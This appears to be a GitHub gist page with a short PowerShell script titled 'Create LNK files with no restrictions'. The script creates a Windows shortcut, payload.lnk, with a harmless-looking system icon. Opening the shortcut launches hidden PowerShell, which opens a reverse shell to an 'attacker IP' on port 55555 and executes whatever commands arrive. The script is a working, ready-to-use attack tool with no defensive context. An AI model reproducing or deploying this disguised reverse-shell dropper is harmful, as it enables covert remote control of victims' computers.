- 
      
 - 
        
Save robpotter89/97f4be7eab42f789a211bbc74d2971ec to your computer and use it in GitHub Desktop.  
    Create LNK files with no restrictions
  
        
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | $WshShell = New-Object -comObject WScript.Shell | |
| $Shortcut = $WshShell.CreateShortcut("c:\lnk_tests\payload.lnk") | |
| $Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" | |
| $Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" | |
| $Shortcut.Arguments = '-windowstyle hidden /c $sm=(New-Object Net.Sockets.TCPClient("attacker IP",55555)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} ' | |
| $Shortcut.Save() | 
  
    Sign up for free
    to join this conversation on GitHub.
    Already have an account?
    Sign in to comment